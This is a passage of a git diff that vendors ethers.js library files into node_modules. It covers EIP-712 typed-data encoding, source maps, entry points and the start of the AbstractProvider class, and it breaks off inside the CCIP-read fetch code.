%%types%% and %%name%%. + */ + static hashStruct(name, types, value) { + return TypedDataEncoder.from(types).hashStruct(name, value); + } + /** + * Return the domain hash for %%domain%%. + */ + static hashDomain(domain) { + const domainFields = []; + for (const name in domain) { + if (domain[name] == null) { + continue; + } + const type = domainFieldTypes[name]; + assertArgument(type, `invalid typed-data domain key: ${JSON.stringify(name)}`, "domain", domain); + domainFields.push({ name, type }); + } + domainFields.sort((a, b) => { + return domainFieldNames.indexOf(a.name) - domainFieldNames.indexOf(b.name); + }); + return TypedDataEncoder.hashStruct("EIP712Domain", { EIP712Domain: domainFields }, domain); + } + /** + * Return the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static encode(domain, types, value) { + return concat([ + "0x1901", + TypedDataEncoder.hashDomain(domain), + TypedDataEncoder.from(types).hash(value) + ]); + } + /** + * Return the hash of the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static hash(domain, types, value) { + return keccak256(TypedDataEncoder.encode(domain, types, value)); + } + // Replaces all address types with ENS names with their looked up address + /** + * Resolves to the value from resolving all addresses in %%value%% for + * %%types%% and the %%domain%%. + */ + static async resolveNames(domain, types, value, resolveName) { + // Make a copy to isolate it from the object passed in + domain = Object.assign({}, domain); + // Allow passing null to ignore value + for (const key in domain) { + if (domain[key] == null) { + delete domain[key]; + } + } + // Look up all ENS names + const ensCache = {}; + // Do we need to look up the domain's verifyingContract? + if (domain.verifyingContract && !isHexString(domain.verifyingContract, 20)) { + ensCache[domain.verifyingContract] = "0x"; + } + // We are going to use the encoder to visit all the base values + const encoder = TypedDataEncoder.from(types); + // Get a list of all the addresses + encoder.visit(value, (type, value) => { + if (type === "address" && !isHexString(value, 20)) { + ensCache[value] = "0x"; + } + return value; + }); + // Lookup each name + for (const name in ensCache) { + ensCache[name] = await resolveName(name); + } + // Replace the domain verifyingContract if needed + if (domain.verifyingContract && ensCache[domain.verifyingContract]) { + domain.verifyingContract = ensCache[domain.verifyingContract]; + } + // Replace all ENS names with their address + value = encoder.visit(value, (type, value) => { + if (type === "address" && ensCache[value]) { + return ensCache[value]; + } + return value; + }); + return { domain, value }; + } + /** + * Returns the JSON-encoded payload expected by nodes which implement + * the JSON-RPC [[link-eip-712]] method. + */ + static getPayload(domain, types, value) { + // Validate the domain fields + TypedDataEncoder.hashDomain(domain); + // Derive the EIP712Domain Struct reference type + const domainValues = {}; + const domainTypes = []; + domainFieldNames.forEach((name) => { + const value = domain[name]; + if (value == null) { + return; + } + domainValues[name] = domainChecks[name](value); + domainTypes.push({ name, type: domainFieldTypes[name] }); + }); + const encoder = TypedDataEncoder.from(types); + // Get the normalized types + types = encoder.types; + const typesWithDomain = Object.assign({}, types); + assertArgument(typesWithDomain.EIP712Domain == null, "types must not contain EIP712Domain type", "types.EIP712Domain", types); + typesWithDomain.EIP712Domain = domainTypes; + // Validate the data structures and types + encoder.encode(value); + return { + types: typesWithDomain, + domain: domainValues, + primaryType: encoder.primaryType, + message: encoder.visit(value, (type, value) => { + // bytes + if (type.match(/^bytes(\d*)/)) { + return hexlify(getBytes(value)); + } + // uint or int + if (type.match(/^u?int/)) { + return getBigInt(value).toString(); + } + switch (type) { + case "address": + return value.toLowerCase(); + case "bool": + return !!value; + case "string": + assertArgument(typeof (value) === "string", "invalid string", "value", value); + return value; + } + assertArgument(false, "unsupported type", "type", type); + }) + }; + } +} +/** + * Compute the address used to sign the typed data for the %%signature%%. + */ +export function verifyTypedData(domain, types, value, signature) { + return recoverAddress(TypedDataEncoder.hash(domain, types, value), signature); +} +//# sourceMappingURL=typed-data.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/hash/typed-data.js.map b/node_modules/ethers/lib.esm/hash/typed-data.js.map new file mode 100644 index 000000000000..a7543c8d0ac7 --- /dev/null +++ b/node_modules/ethers/lib.esm/hash/typed-data.js.map @@ -0,0 +1 @@ +{"version":3,"file":"typed-data.js","sourceRoot":"","sources":["../../src.ts/hash/typed-data.ts"],"names":[],"mappings":"AAAA,2FAA2F;AAC3F,OAAO,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;AACjD,OAAO,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAC;AAC/C,OAAO,EAAE,cAAc,EAAE,MAAM,yBAAyB,CAAC;AACzD,OAAO,EACH,MAAM,EAAE,gBAAgB,EAAE,SAAS,EAAE,QAAQ,EAAE,OAAO,EAAE,WAAW,EAAE,IAAI,EAAE,OAAO,EAAE,UAAU,EAAE,MAAM,EAAE,YAAY,EACpH,cAAc,EACjB,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,EAAE,EAAE,MAAM,SAAS,CAAC;AAM7B,MAAM,OAAO,GAAG,IAAI,UAAU,CAAC,EAAE,CAAC,CAAC;AACnC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;AAEhB,MAAM,KAAK,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC;AACzB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,cAAc,GAAG,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAgCnG,CAAC;AAeD,CAAC;AAEF,SAAS,WAAW,CAAC,KAAgB;IACjC,MAAM,KAAK,GAAG,QAAQ,CAAC,KAAK,CAAC,CAAC;IAC9B,MAAM,SAAS,GAAG,K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AAO,OAAO,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC;iBACnC;gBAED,cAAc;gBACd,IAAI,IAAI,CAAC,KAAK,CAAC,QAAQ,CAAC,EAAE;oBACtB,OAAO,SAAS,CAAC,KAAK,CAAC,CAAC,QAAQ,EAAE,CAAC;iBACtC;gBAED,QAAQ,IAAI,EAAE;oBACV,KAAK,SAAS;wBACV,OAAO,KAAK,CAAC,WAAW,EAAE,CAAC;oBAC/B,KAAK,MAAM;wBACP,OAAO,CAAC,CAAC,KAAK,CAAC;oBACnB,KAAK,QAAQ;wBACT,cAAc,CAAC,OAAM,CAAC,KAAK,CAAC,KAAK,QAAQ,EAAE,gBAAgB,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;wBAC7E,OAAO,KAAK,CAAC;iBACpB;gBAED,cAAc,CAAC,KAAK,EAAE,kBAAkB,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC;YAC5D,CAAC,CAAC;SACL,CAAC;IACN,CAAC;CACJ;AAED;;GAEG;AACH,MAAM,UAAU,eAAe,CAAC,MAAuB,EAAE,KAA4C,EAAE,KAA0B,EAAE,SAAwB;IACvJ,OAAO,cAAc,CAAC,gBAAgB,CAAC,IAAI,CAAC,MAAM,EAAE,KAAK,EAAE,KAAK,CAAC,EAAE,SAAS,CAAC,CAAC;AAClF,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/index.d.ts b/node_modules/ethers/lib.esm/index.d.ts new file mode 100644 index 000000000000..558c263ff99c --- /dev/null +++ b/node_modules/ethers/lib.esm/index.d.ts @@ -0,0 +1,11 @@ +/** + * The Application Programming Interface (API) is the collection of + * functions, classes and types offered by the Ethers library. + * + * @_section: api:Application Programming Interface [about-api] + * @_navTitle: API + */ +import * as ethers from "./ethers.js"; +export { ethers }; +export * from "./ethers.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/index.d.ts.map b/node_modules/ethers/lib.esm/index.d.ts.map new file mode 100644 index 000000000000..2334d69a9707 --- /dev/null +++ b/node_modules/ethers/lib.esm/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src.ts/index.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AACH,OAAO,KAAK,MAAM,MAAM,aAAa,CAAC;AAEtC,OAAO,EAAE,MAAM,EAAE,CAAC;AAElB,cAAc,aAAa,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/index.js b/node_modules/ethers/lib.esm/index.js new file mode 100644 index 000000000000..12762d2e5dda --- /dev/null +++ b/node_modules/ethers/lib.esm/index.js @@ -0,0 +1,11 @@ +/** + * The Application Programming Interface (API) is the collection of + * functions, classes and types offered by the Ethers library. + * + * @_section: api:Application Programming Interface [about-api] + * @_navTitle: API + */ +import * as ethers from "./ethers.js"; +export { ethers }; +export * from "./ethers.js"; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/index.js.map b/node_modules/ethers/lib.esm/index.js.map new file mode 100644 index 000000000000..239741144580 --- /dev/null +++ b/node_modules/ethers/lib.esm/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../src.ts/index.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AACH,OAAO,KAAK,MAAM,MAAM,aAAa,CAAC;AAEtC,OAAO,EAAE,MAAM,EAAE,CAAC;AAElB,cAAc,aAAa,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/package.json b/node_modules/ethers/lib.esm/package.json new file mode 100644 index 000000000000..04a5cfd618f2 --- /dev/null +++ b/node_modules/ethers/lib.esm/package.json @@ -0,0 +1,12 @@ +{ + "browser": { + "./crypto/crypto.js": "./crypto/crypto-browser.js", + "./providers/provider-ipcsocket.js": "./providers/provider-ipcsocket-browser.js", + "./providers/ws.js": "./providers/ws-browser.js", + "./utils/base64.js": "./utils/base64-browser.js", + "./utils/geturl.js": "./utils/geturl-browser.js", + "./wordlists/wordlists.js": "./wordlists/wordlists-browser.js" + }, + "sideEffects": false, + "type": "module" +} diff --git a/node_modules/ethers/lib.esm/providers/abstract-provider.d.ts b/node_modules/ethers/lib.esm/providers/abstract-provider.d.ts new file mode 100644 index 000000000000..50659206d495 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/abstract-provider.d.ts @@ -0,0 +1,451 @@ +/** + * The available providers should suffice for most developers purposes, + * but the [[AbstractProvider]] class has many features which enable + * sub-classing it for specific purposes. + * + * @_section: api/providers/abstract-provider: Subclassing Provider [abstract-provider] + */ +import { FetchRequest } from "../utils/index.js"; +import { EnsResolver } from "./ens-resolver.js"; +import { Network } from "./network.js"; +import { Block, FeeData, Log, TransactionReceipt, TransactionResponse } from "./provider.js"; +import type { AddressLike } from "../address/index.js"; +import type { BigNumberish } from "../utils/index.js"; +import type { Listener } from "../utils/index.js"; +import type { Networkish } from "./network.js"; +import type { BlockParams, LogParams, TransactionReceiptParams, TransactionResponseParams } from "./formatting.js"; +import type { BlockTag, EventFilter, Filter, FilterByBlockHash, OrphanFilter, PreparedTransactionRequest, Provider, ProviderEvent, TransactionRequest } from "./provider.js"; +/** + * The types of additional event values that can be emitted for the + * ``"debug"`` event. + */ +export type DebugEventAbstractProvider = { + action: "sendCcipReadFetchRequest"; + request: FetchRequest; + index: number; + urls: Array; +} | { + action: "receiveCcipReadFetchResult"; + request: FetchRequest; + result: any; +} | { + action: "receiveCcipReadFetchError"; + request: FetchRequest; + result: any; +} | { + action: "sendCcipReadCall"; + transaction: { + to: string; + data: string; + }; +} | { + action: "receiveCcipReadCallResult"; + transaction: { + to: string; + data: string; + }; + result: string; +} | { + action: "receiveCcipReadCallError"; + transaction: { + to: string; + data: string; + }; + error: Error; +}; +/** + * The value passed to the [[AbstractProvider-_getSubscriber]] method. + * + * Only developers sub-classing [[AbstractProvider[[ will care about this, + * if they are modifying a low-level feature of how subscriptions operate. + */ +export type Subscription = { + type: "block" | "close" | "debug" | "error" | "finalized" | "network" | "pending" | "safe"; + tag: string; +} | { + type: "transaction"; + tag: string; + hash: string; +} | { + type: "event"; + tag: string; + filter: EventFilter; +} | { + type: "orphan"; + tag: string; + filter: OrphanFilter; +}; +/** + * A **Subscriber** manages a subscription. + * + * Only developers sub-classing [[AbstractProvider[[ will care about this, + * if they are modifying a low-level feature of how subscriptions operate. + */ +export interface Subscriber { + /** + * Called initially when a subscriber is added the first time. + */ + start(): void; + /** + * Called when there are no more subscribers to the event. + */ + stop(): void; + /** + * Called when the subscription should pause. + * + * If %%dropWhilePaused%%, events that occur while paused should not + * be emitted [[resume]]. + */ + pause(dropWhilePaused?: boolean): void; + /** + * Resume a paused subscriber. + */ + resume(): void; + /** + * The frequency (in ms) to poll for events, if polling is used by + * the subscriber. + * + * For non-polling subscribers, this must return ``undefined``. + */ + pollingInterval?: number; +} +/** + * An **UnmanagedSubscriber** is useful for events which do not require + * any additional management, such as ``"debug"`` which only requires + * emit in synchronous event loop triggered calls. + */ +export declare class UnmanagedSubscriber implements Subscriber { + /** + * The name fof the event. + */ + name: string; + /** + * Create a new UnmanagedSubscriber with %%name%%. + */ + constructor(name: string); + start(): void; + stop(): void; + pause(dropWhilePaused?: boolean): void; + resume(): void; +} +/** + * An **AbstractPlugin** is used to provide additional internal services + * to an [[AbstractProvider]] without adding backwards-incompatible changes + * to method signatures or other internal and complex logic. + */ +export interface AbstractProviderPlugin { + /** + * The reverse domain notation of the plugin. + */ + readonly name: string; + /** + * Creates a new instance of the plugin, connected to %%provider%%. + */ + connect(provider: AbstractProvider): AbstractProviderPlugin; +} +/** + * A normalized filter used for [[PerformActionRequest]] objects. + */ +export type PerformActionFilter = { + address?: string | Array; + topics?: Array>; + fromBlock?: BlockTag; + toBlock?: BlockTag; +} | { + address?: string | Array; + topics?: Array>; + blockHash?: string; +}; +/** + * A normalized transactions used for [[PerformActionRequest]] objects. + */ +export interface PerformActionTransaction extends PreparedTransactionRequest { + /** + * The ``to`` address of the transaction. + */ + to?: string; + /** + * The sender of the transaction. + */ + from?: string; +} +/** + * The [[AbstractProvider]] methods will normalize all values and pass this + * type to [[AbstractProvider-_perform]]. + */ +export type PerformActionRequest = { + method: "broadcastTransaction"; + signedTransaction: string; +} | { + method: "call"; + transaction: PerformActionTransaction; + blockTag: BlockTag; +} | { + method: "chainId"; +} | { + method: "estimateGas"; + transaction: PerformActionTransaction; +} | { + method: "getBalance"; + address: string; + blockTag: BlockTag; +} | { + method: "getBlock"; + blockTag: BlockTag; + includeTransactions: boolean; +} | { + method: "getBlock"; + blockHash: string; + includeTransactions: boolean; +} | { + method: "getBlockNumber"; +} | { + method: "getCode"; + address: string; + blockTag: BlockTag; +} | { + method: "getGasPrice"; +} | { + method: "getLogs"; + filter: PerformActionFilter; +} | { + method: "getPriorityFee"; +} | { + method: "getStorage"; + address: string; + position: bigint; + blockTag: BlockTag; +} | { + method: "getTransaction"; + hash: string; +} | { + method: "getTransactionCount"; + address: string; + blockTag: BlockTag; +} | { + method: "getTransactionReceipt"; + hash: string; +} | { + method: "getTransactionResult"; + hash: string; +}; +/** + * Options for configuring some internal aspects of an [[AbstractProvider]]. + * + * **``cacheTimeout``** - how long to cache a low-level ``_perform`` + * for, based on input parameters. This reduces the number of calls + * to getChainId and getBlockNumber, but may break test chains which + * can perform operations (internally) synchronously. Use ``-1`` to + * disable, ``0`` will only buffer within the same event loop and + * any other value is in ms. (default: ``250``) + */ +export type AbstractProviderOptions = { + cacheTimeout?: number; + pollingInterval?: number; +}; +/** + * An **AbstractProvider** provides a base class for other sub-classes to + * implement the [[Provider]] API by normalizing input arguments and + * formatting output results as well as tracking events for consistent + * behaviour on an eventually-consistent network. + */ +export declare class AbstractProvider implements Provider { + #private; + /** + * Create a new **AbstractProvider** connected to %%network%%, or + * use the various network detection capabilities to discover the + * [[Network]] if necessary. + */ + constructor(_network?: "any" | Networkish, options?: AbstractProviderOptions); + get pollingInterval(): number; + /** + * Returns ``this``, to allow an **AbstractProvider** to implement + * the [[ContractRunner]] interface. + */ + get provider(): this; + /** + * Returns all the registered plug-ins. + */ + get plugins(): Array; + /** + * Attach a new plug-in. + */ + attachPlugin(plugin: AbstractProviderPlugin): this; + /** + * Get a plugin by name. + */ + getPlugin(name: string): null | T; + /** + * Prevent any CCIP-read operation, regardless of whether requested + * in a [[call]] using ``enableCcipRead``. + */ + get disableCcipRead(): boolean; + set disableCcipRead(value: boolean); + /** + * Resolves to the data for executing the CCIP-read operations. + */ + ccipReadFetch(tx: PerformActionTransaction, calldata: string, urls: Array): Promise; + /** + * Provides the opportunity for a sub-class to wrap a block before + * returning it, to add additional properties or an alternate + * sub-class of [[Block]]. + */ + _wrapBlock(value: BlockParams, network: Network): Block; + /** + * Provides the opportunity for a sub-class to wrap a log before + * returning it, to add additional properties or an alternate + * sub-class of [[Log]]. + */ + _wrapLog(value: LogParams, network: Network): Log; + /** + * Provides the opportunity for a sub-class to wrap a transaction + * receipt before returning it, to add additional properties or an + * alternate sub-class of [[TransactionReceipt]]. + */ + _wrapTransactionReceipt(value: TransactionReceiptParams, network: Network): TransactionReceipt; + /** + * Provides the opportunity for a sub-class to wrap a transaction + * response before returning it, to add additional properties or an + * alternate sub-class of [[TransactionResponse]]. + */ + _wrapTransactionResponse(tx: TransactionResponseParams, network: Network): TransactionResponse; + /** + * Resolves to the Network, forcing a network detection using whatever + * technique the sub-class requires. + * + * Sub-classes **must** override this. + */ + _detectNetwork(): Promise; + /** + * Sub-classes should use this to perform all built-in operations. All + * methods sanitizes and normalizes the values passed into this. + * + * Sub-classes **must** override this. + */ + _perform(req: PerformActionRequest): Promise; + getBlockNumber(): Promise; + /** + * Returns or resolves to the address for %%address%%, resolving ENS + * names and [[Addressable]] objects and returning if already an + * address. + */ + _getAddress(address: AddressLike): string | Promise; + /** + * Returns or resolves to a valid block tag for %%blockTag%%, resolving + * negative values and returning if already a valid block tag. + */ + _getBlockTag(blockTag?: BlockTag): string | Promise; + /** + * Returns or resolves to a filter for %%filter%%, resolving any ENS + * names or [[Addressable]] object and returning if already a valid + * filter. + */ + _getFilter(filter: Filter | FilterByBlockHash): PerformActionFilter | Promise; + /** + * Returns or resolves to a transaction for %%request%%, resolving + * any ENS names or [[Addressable]] and returning if already a valid + * transaction. + */ + _getTransactionRequest(_request: TransactionRequest): PerformActionTransaction | Promise; + getNetwork(): Promise; + getFeeData(): Promise; + estimateGas(_tx: TransactionRequest): Promise; + call(_tx: TransactionRequest): Promise; + getBalance(address: AddressLike, blockTag?: BlockTag): Promise; + getTransactionCount(address: AddressLike, blockTag?: BlockTag): Promise; + getCode(address: AddressLike, blockTag?: BlockTag): Promise; + getStorage(address: AddressLike, _position: BigNumberish, blockTag?: BlockTag): Promise; + broadcastTransaction(signedTx: string): Promise; + getBlock(block: BlockTag | string, prefetchTxs?: boolean): Promise; + getTransaction(hash: string): Promise; + getTransactionReceipt(hash: string): Promise; + getTransactionResult(hash: string): Promise; + getLogs(_filter: Filter | FilterByBlockHash): Promise>; + _getProvider(chainId: number): AbstractProvider; + getResolver(name: string): Promise; + getAvatar(name: string): Promise; + resolveName(name: string): Promise; + lookupAddress(address: string): Promise; + waitForTransaction(hash: string, _confirms?: null | number, timeout?: null | number): Promise; + waitForBlock(blockTag?: BlockTag): Promise; + /** + * Clear a timer created using the [[_setTimeout]] method. + */ + _clearTimeout(timerId: number): void; + /** + * Create a timer that will execute %%func%% after at least %%timeout%% + * (in ms). If %%timeout%% is unspecified, then %%func%% will execute + * in the next event loop. + * + * [Pausing](AbstractProvider-paused) the provider will pause any + * associated timers. + */ + _setTimeout(_func: () => void, timeout?: number): number; + /** + * Perform %%func%% on each subscriber. + */ + _forEachSubscriber(func: (s: Subscriber) => void): void; + /** + * Sub-classes may override this to customize subscription + * implementations. + */ + _getSubscriber(sub: Subscription): Subscriber; + /** + * If a [[Subscriber]] fails and needs to replace itself, this + * method may be used. + * + * For example, this is used for providers when using the + * ``eth_getFilterChanges`` method, which can return null if state + * filters are not supported by the backend, allowing the Subscriber + * to swap in a [[PollingEventSubscriber]]. + */ + _recoverSubscriber(oldSub: Subscriber, newSub: Subscriber): void; + on(event: ProviderEvent, listener: Listener): Promise; + once(event: ProviderEvent, listener: Listener): Promise; + emit(event: ProviderEvent, ...args: Array): Promise; + listenerCount(event?: ProviderEvent): Promise; + listeners(event?: ProviderEvent): Promise>; + off(event: ProviderEvent, listener?: Listener): Promise; + removeAllListeners(event?: ProviderEvent): Promise; + addListener(event: ProviderEvent, listener: Listener): Promise; + removeListener(event: ProviderEvent, listener: Listener): Promise; + /** + * If this provider has been destroyed using the [[destroy]] method. + * + * Once destroyed, all resources are reclaimed, internal event loops + * and timers are cleaned up and no further requests may be sent to + * the provider. + */ + get destroyed(): boolean; + /** + * Sub-classes may use this to shutdown any sockets or release their + * resources and reject any pending requests. + * + * Sub-classes **must** call ``super.destroy()``. + */ + destroy(): void; + /** + * Whether the provider is currently paused. + * + * A paused provider will not emit any events, and generally should + * not make any requests to the network, but that is up to sub-classes + * to manage. + * + * Setting ``paused = true`` is identical to calling ``.pause(false)``, + * which will buffer any events that occur while paused until the + * provider is unpaused. + */ + get paused(): boolean; + set paused(pause: boolean); + /** + * Pause the provider. If %%dropWhilePaused%%, any events that occur + * while paused are dropped, otherwise all events will be emitted once + * the provider is unpaused. + */ + pause(dropWhilePaused?: boolean): void; + /** + * Resume the provider. + */ + resume(): void; +} +//# sourceMappingURL=abstract-provider.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/abstract-provider.d.ts.map b/node_modules/ethers/lib.esm/providers/abstract-provider.d.ts.map new file mode 100644 index 000000000000..740581dc992c --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/abstract-provider.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"abstract-provider.d.ts","sourceRoot":"","sources":["../../src.ts/providers/abstract-provider.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAeH,OAAO,EAIH,YAAY,EAIf,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAIhD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AAO,IAAI,IAAI;IAYf;;;;;;;;;;OAUG;IACH,IAAI,MAAM,IAAI,OAAO,CAAwC;IAC7D,IAAI,MAAM,CAAC,KAAK,EAAE,OAAO,EAQxB;IAED;;;;OAIG;IACH,KAAK,CAAC,eAAe,CAAC,EAAE,OAAO,GAAG,IAAI;IAsBtC;;OAEG;IACH,MAAM,IAAI,IAAI;CAiBjB"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/abstract-provider.js b/node_modules/ethers/lib.esm/providers/abstract-provider.js new file mode 100644 index 000000000000..80d00148dbf1 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/abstract-provider.js @@ -0,0 +1,1404 @@ +/** + * The available providers should suffice for most developers purposes, + * but the [[AbstractProvider]] class has many features which enable + * sub-classing it for specific purposes. + * + * @_section: api/providers/abstract-provider: Subclassing Provider [abstract-provider] + */ +// @TODO +// Event coalescence +// When we register an event with an async value (e.g. address is a Signer +// or ENS name), we need to add it immeidately for the Event API, but also +// need time to resolve the address. Upon resolving the address, we need to +// migrate the listener to the static event. We also need to maintain a map +// of Signer/ENS name to address so we can sync respond to listenerCount. +import { getAddress, resolveAddress } from "../address/index.js"; +import { ZeroAddress } from "../constants/index.js"; +import { Contract } from "../contract/index.js"; +import { namehash } from "../hash/index.js"; +import { Transaction } from "../transaction/index.js"; +import { concat, dataLength, dataSlice, hexlify, isHexString, getBigInt, getBytes, getNumber, isCallException, isError, makeError, assert, assertArgument, FetchRequest, toBeArray, toQuantity, defineProperties, EventPayload, resolveProperties, toUtf8String } from "../utils/index.js"; +import { EnsResolver } from "./ens-resolver.js"; +import { formatBlock, formatLog, formatTransactionReceipt, formatTransactionResponse } from "./format.js"; +import { Network } from "./network.js"; +import { copyRequest, Block, FeeData, Log, TransactionReceipt, TransactionResponse } from "./provider.js"; +import { PollingBlockSubscriber, PollingBlockTagSubscriber, PollingEventSubscriber, PollingOrphanSubscriber, PollingTransactionSubscriber } from "./subscriber-polling.js"; +// Constants +const BN_2 = BigInt(2); +const MAX_CCIP_REDIRECTS = 10; +function isPromise(value) { + return (value && typeof (value.then) === "function"); +} +function getTag(prefix, value) { + return prefix + ":" + JSON.stringify(value, (k, v) => { + if (v == null) { + return "null"; + } + if (typeof (v) === "bigint") { + return `bigint:${v.toString()}`; + } + if (typeof (v) === "string") { + return v.toLowerCase(); + } + // Sort object keys + if (typeof (v) === "object" && !Array.isArray(v)) { + const keys = Object.keys(v); + keys.sort(); + return keys.reduce((accum, key) => { + accum[key] = v[key]; + return accum; + }, {}); + } + return v; + }); +} +/** + * An **UnmanagedSubscriber** is useful for events which do not require + * any additional management, such as ``"debug"`` which only requires + * emit in synchronous event loop triggered calls. + */ +export class UnmanagedSubscriber { + /** + * The name fof the event. + */ + name; + /** + * Create a new UnmanagedSubscriber with %%name%%. + */ + constructor(name) { defineProperties(this, { name }); } + start() { } + stop() { } + pause(dropWhilePaused) { } + resume() { } +} +function copy(value) { + return JSON.parse(JSON.stringify(value)); +} +function concisify(items) { + items = Array.from((new Set(items)).values()); + items.sort(); + return items; +} +async function getSubscription(_event, provider) { + if (_event == null) { + throw new Error("invalid event"); + } + // Normalize topic array info an EventFilter + if (Array.isArray(_event)) { + _event = { topics: _event }; + } + if (typeof (_event) === "string") { + switch (_event) { + case "block": + case "debug": + case "error": + case "finalized": + case "network": + case "pending": + case "safe": { + return { type: _event, tag: _event }; + } + } + } + if (isHexString(_event, 32)) { + const hash = _event.toLowerCase(); + return { type: "transaction", tag: getTag("tx", { hash }), hash }; + } + if (_event.orphan) { + const event = _event; + // @TODO: Should lowercase and whatnot things here instead of copy... + return { type: "orphan", tag: getTag("orphan", event), filter: copy(event) }; + } + if ((_event.address || _event.topics)) { + const event = _event; + const filter = { + topics: ((event.topics || []).map((t) => { + if (t == null) { + return null; + } + if (Array.isArray(t)) { + return concisify(t.map((t) => t.toLowerCase())); + } + return t.toLowerCase(); + })) + }; + if (event.address) { + const addresses = []; + const promises = []; + const addAddress = (addr) => { + if (isHexString(addr)) { + addresses.push(addr); + } + else { + promises.push((async () => { + addresses.push(await resolveAddress(addr, provider)); + })()); + } + }; + if (Array.isArray(event.address)) { + event.address.forEach(addAddress); + } + else { + addAddress(event.address); + } + if (promises.length) { + await Promise.all(promises); + } + filter.address = concisify(addresses.map((a) => a.toLowerCase())); + } + return { filter, tag: getTag("event", filter), type: "event" }; + } + assertArgument(false, "unknown ProviderEvent", "event", _event); +} +function getTime() { return (new Date()).getTime(); } +const defaultOptions = { + cacheTimeout: 250, + pollingInterval: 4000 +}; +/** + * An **AbstractProvider** provides a base class for other sub-classes to + * implement the [[Provider]] API by normalizing input arguments and + * formatting output results as well as tracking events for consistent + * behaviour on an eventually-consistent network. + */ +export class AbstractProvider { + #subs; + #plugins; + // null=unpaused, true=paused+dropWhilePaused, false=paused + #pausedState; + #destroyed; + #networkPromise; + #anyNetwork; + #performCache; + // The most recent block number if running an event or -1 if no "block" event + #lastBlockNumber; + #nextTimer; + #timers; + #disableCcipRead; + #options; + /** + * Create a new **AbstractProvider** connected to %%network%%, or + * use the various network detection capabilities to discover the + * [[Network]] if necessary. + */ + constructor(_network, options) { + this.#options = Object.assign({}, defaultOptions, options || {}); + if (_network === "any") { + this.#anyNetwork = true; + this.#networkPromise = null; + } + else if (_network) { + const network = Network.from(_network); + this.#anyNetwork = false; + this.#networkPromise = Promise.resolve(network); + setTimeout(() => { this.emit("network", network, null); }, 0); + } + else { + this.#anyNetwork = false; + this.#networkPromise = null; + } + this.#lastBlockNumber = -1; + this.#performCache = new Map(); + this.#subs = new Map(); + this.#plugins = new Map(); + this.#pausedState = null; + this.#destroyed = false; + this.#nextTimer = 1; + this.#timers = new Map(); + this.#disableCcipRead = false; + } + get pollingInterval() { return this.#options.pollingInterval; } + /** + * Returns ``this``, to allow an **AbstractProvider** to implement + * the [[ContractRunner]] interface. + */ + get provider() { return this; } + /** + * Returns all the registered plug-ins. + */ + get plugins() { + return Array.from(this.#plugins.values()); + } + /** + * Attach a new plug-in. + */ + attachPlugin(plugin) { + if (this.#plugins.get(plugin.name)) { + throw new Error(`cannot replace existing plugin: ${plugin.name} `); + } + this.#plugins.set(plugin.name, plugin.connect(this)); + return this; + } + /** + * Get a plugin by name. + */ + getPlugin(name) { + return (this.#plugins.get(name)) || null; + } + /** + * Prevent any CCIP-read operation, regardless of whether requested + * in a [[call]] using ``enableCcipRead``. + */ + get disableCcipRead() { return this.#disableCcipRead; } + set disableCcipRead(value) { this.#disableCcipRead = !!value; } + // Shares multiple identical requests made during the same 250ms + async #perform(req) { + const timeout = this.#options.cacheTimeout; + // Caching disabled + if (timeout < 0) { + return await this._perform(req); + } + // Create a tag + const tag = getTag(req.method, req); + let perform = this.#performCache.get(tag); + if (!perform) { + perform = this._perform(req); + this.#performCache.set(tag, perform); + setTimeout(() => { + if (this.#performCache.get(tag) === perform) { + this.#performCache.delete(tag); + } + }, timeout); + } + return await perform; + } + /** + * Resolves to the data for executing the CCIP-read operations. + */ + async ccipReadFetch(tx, calldata, urls) { + if (this.disableCcipRead || urls.length === 0 || tx.to == null) { + return null; + } + const sender = tx.to.toLowerCase(); + const data = calldata.toLowerCase(); + const errorMessages = []; + for (let i = 0; i < urls.length; i++) { + const url = urls[i]; + // URL expansion + const href = url.replace("{sender}", sender).replace("{data}", data); + // If no {data} is present, use POST; otherwise GET + //const json: string | null = (url.indexOf("{data}") >= 0) ? null: JSON.stringify({ data, sender }); + //const result = await fetchJson({ url: href, errorPassThrough: true }, json, (value, response) => { + // value.status = response.statusCode; + // return value; + //}); + const request = new FetchRequest(href); + if (url.indexOf("{data}") === -1) { + request.body = { data, sender }; + } + this.emit("debug", { action: "sendCcipReadFetchRequest", request, index: i, urls }); + let errorMessage = "unknown error"; + // Fetch the resource... + let resp; + try { + resp = await request.send(); + } + catch (error) { + // ...low-level fetch error (missing host, bad SSL, etc.), + // so try next URL + errorMessages.push(error.message); + this.emit("debug", { action: "receiveCcipReadFetchError", request, result: { 